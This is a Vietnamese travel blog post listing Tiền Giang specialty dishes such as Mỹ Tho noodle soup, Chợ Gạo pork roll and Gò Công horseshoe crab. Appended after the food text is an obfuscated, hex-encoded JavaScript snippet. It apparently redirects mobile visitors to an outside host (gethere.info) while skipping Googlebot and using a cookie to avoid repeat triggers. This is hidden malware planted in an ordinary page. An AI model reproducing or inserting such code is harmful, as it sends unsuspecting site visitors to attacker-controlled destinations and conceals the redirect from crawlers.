Loading...
tin tức du lịch

Ẩm thực Tiền Giang nhất định phải thử – Phần 1

Du lịch Tiền Giang mà bỏ qua những món ăn sau thì quả thật là một thiếu sót lớn 🙂

Hủ tiếu Mỹ Tho

Hủ tiếu là món ăn không còn xa lạ gì đối với vùng đất Nam Bộ. Hủ tiếu Mỹ Tho nổi tiếng dai mềm, nước dùng thanh thanh ngọt ngọt, miếng thịt béo ngậy quyện hòa cùng hương vị chua ngọt của nước mắm thơm. Du lịch Tiền Giang nhất định phải thử món hủ tiếu truyền thống này.

du lịch Tiền Giang
Hủ tiếu Mỹ Tho

Chuối quết dừa

Chuối quyết dừa thơm thơm mùi chuối sứ, ngon ngọt từ đường và dừa nạo. Chuối được chế biến vô cùng đơn giản nhưng độ thơm ngon thì phải nói là trên cả tuyệt vời. Để món ăn thêm bắt mắt, người dân Tiền Giang thường rắc trên chuối một ít đậu rang giã nhỏ.

du lịch Tiền Giang
Chuối quết dừa

Chả nướng Chợ Gạo

Chả được chế biến từ thịt nạc vai heo, xào sơ qua với hành và tỏi. Sau đó, trộn đều cùng các nguyên liệu gia vị khác như trứng vịt, hạt tiêu, nước mắm nêm, mì chính, đường,… Chả được cho vào trong nồi gang lót lá chuối rồi đun trên bếp cho đến khi chín và khô. Chả nướng thường được cắt nhỏ ăn kèm cùng bánh tráng và rau thơm, chấm cùng mắm nêm chua ngọt mang hương vị đậm đà khó cưỡng.

du lịch Tiền Giang
Chả nướng chợ Gạo

Ốc gạo Tân Phong

Ốc gạo vàng ươm, béo ngậy hấp cùng chanh sả ớt là món ăn cực ngon ở tỉnh Tiền Giang. Ốc dai, giòn, chấm cùng nước mắm gừng chua ngọt là món ăn tuyệt vời cho ngày mưa mát mẻ. Ốc được sơ chế sạch sẽ có thể chế biến bằng nhiều cách khác nhau như xào me, om nước dừa, rang bơ….

Bánh vá

Đây là đặc sản Tiền Giang được chế biến từ bột gạo, bột năng, tôm, gan heo và giá sống. Bánh được chiên nhanh trong chảo dầu đang sôi. Chờ bánh chín vàng, cắn một miếng giòn rộm vô cùng thơm ngon. Bánh được ăn kèm rau sống và nước chấm tỏi ớt để gia tăng hương vị đậm đà.

du lịch Tiền Giang
Bánh vá Tiền Giang

 

Sam biển Gò Công

Đây là món ăn đặc biệt chỉ có ở Tiền Giang. Sam được làm sạch sẽ, nướng trên bếp than hồng cho đến khi vỏ đổi màu. Sam nóng hổi, vàng ươm, phải ăn cùng bưởi chua tách múi, củ cải thái kèm nước chấm chua ngọt mới chuẩn vị. Sam cũng có thể được chế biến thành nhiều món khác nhau như canh chua bạc hà, rau nhút sam, đậu rồng, sam om rau,.. vô cùng lạ miệng và thơm ngon.

Bạn đã chảy nước miếng với món ngon Tiền Giang rồi đúng không nào? Hãy cùng khám phá kho tàng ẩm thực Tiền Giang trong phần 2 nữa bạn nhé!

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Trả lời

Thư điện tử của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *